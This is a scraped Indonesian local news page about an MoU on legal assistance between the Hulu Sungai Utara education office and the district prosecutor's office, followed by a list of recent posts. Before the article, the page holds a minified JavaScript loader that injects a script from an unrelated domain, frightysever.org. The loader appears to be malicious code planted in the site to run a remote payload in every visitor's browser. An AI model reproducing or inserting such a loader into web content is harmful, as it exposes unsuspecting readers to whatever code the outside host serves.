(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

MoU Pendampingan Hukum Disdik dengan Kejari HSU


KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan kerjasama pelayanan hukum, Dinas Pendidikan Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan Memorandum of Undefstanding (MoU) dengan Kejaksaan Negeri (Kejari) HSU.

Kerjasama kesepakatan bersama penanganan masalah hukum bidang perdata dan tata usaha negara ini, ditandatangi Plt Kepala Disdik HSU H Junaidi Gunawan dengan Kepala Kejari HSU Novan Hadian, Selasa (9/2/2021) di aula kantor Kejari HSU.

“Ini kita lakukan dalam rangka kerjasama antara Dinas Pendidikan Kabupaten HSU dengan Kejaksaan Negeri HSU untuk meningkatkan pelayanan hukum, khususnya berkenaan dengan program dan kegiatan di Dinas Pendidikan HSU. Kemudian yang kedua dalam rangka meningkatkan dan penyediaan hal-hal yang berkenaan dengan hukum,” kata PLT Kadisdik HSU.

Junaidi menambahkan, kerjasama yang terjalin antara Disdik HSU dengan Kejaksaan Negeri HSU telah berlangsung sejak lama.

“Sebelumnya juga memang ada kerjasama yang dilaksanakan oleh Dinas Pendidikan HSU dengan Kejaksaan Negeri HSU oleh pimpinan yang terdahulu,” lanjutnya.

Kerjasama yang dijalin adalah dalam kegiatan pembangunan dan kegiatan yang bersifat fisik dan juga bersifat non fisik.

Diantaranya konsultasi tentang penanganan baik bersifat tata aturan dan ketentuan, maupun nanti penanganan yang bersifat di lapangan berkenaan dengan kegiatan pembangunan maupun rehabilitasi.

Sementara, Kepala Kejaksaan Negeri HSU Novan Hadian menyebut sampai saat ini instansi yang sudah menjalin kerjasama dengan Kejaksaan Negeri HSU sudah ada 6 instansi.

“Yaitu BPN HSU, Rumah Sakit Pembalah Batung, PDAM HSU, Dinas Kesehatan HSU, BNI, dan yang terakhir Dinas Pendidikan HSU,” beber Novan Hadian.

Kendati banyak instansi yang meminta pendampingan hukum, Novan menilai bahwa kegiatan pendampingan hukum ini tidaklah diwajibkan bagi dinas atau instansi.

“Kami membuka pintu kepada pemerintah kabupaten, khususnya dinas yang berkenan meminta pendampingan ataupun memberikan bantuan hukum, ataupun mengajak kami kerjasama dalam hal pemberian bantuan hukum,” ujarnya. (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

3 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

4 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

5 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.